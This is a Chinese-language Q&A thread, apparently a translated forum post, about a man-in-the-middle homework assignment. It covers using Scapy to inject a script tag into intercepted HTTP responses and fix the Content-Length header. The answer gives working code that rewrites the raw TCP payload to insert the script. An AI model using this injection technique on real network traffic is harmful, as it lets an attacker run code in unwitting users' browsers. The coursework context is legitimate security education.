我正在做中间人攻击作业。它要求我更改 HTTP 有效负载(将脚本标记添加到 HTML 内容)。我能够注入脚本,但我发现用户端收到的内容总是被缩短。然后我意识到 HTTP 标头中的 Content-Length 字段并未增加以适应更长的 HTTP 数据。
我尝试以这种方式设置 Content-Length 标头。
new_packet.show()
打印良好,显示更新的内容长度。但是当我在客户端检查时,它仍然看到原始的内容长度,就好像没有任何改变一样。
res: HTTPResponse = tcp[HTTPResponse]
res.fields["Content_Length"] = content_len
new_packet = IP(src=ip.src, dst=ip.dst) / tcp
new_packet.show()
send(new_packet)
我在这里和 scapy 的 github 问题页面上检查了其他相关答案,但讨论似乎非常过时。有人通过这种方式成功更改了标头字段吗?我应该使用另一种方法来修改标头字段吗?
最终直接修改了TCP的Raw层。如果您通过
res = packet[HTTPResponse]
访问它,scapy 似乎会尝试将标头字段解析为 HTTPResponse 对象,并在原始层加载中仅保留 HTTP 主体。而且似乎如果我直接修改解析的标头字段(例如res.fields["Content_Length"] = "123"
),它是无效的。但如果我直接修改未解析的 TCP Raw 层,它就可以工作。以下是我注入脚本标签并修改“Content-Length”HTTP 标头的操作:
old_load: str = tcp[Raw].load.decode()
[old_headers, old_body] = old_load.split("\r\n\r\n")
new_body = old_body.split("</body>")
new_body.insert(-1, f"<script>{script}</script>")
new_body = "".join(new_body)
new_headers: str = old_headers.replace(f"Content-Length: {len(old_body)}", f"Content-Length: {len(new_body)}")
new_load = "\r\n\r\n".join([new_headers, new_body])
tcp[Raw].load = new_load
你本可以做到的
res.Content_Length = None
让 Scapy 自动为您重新计算。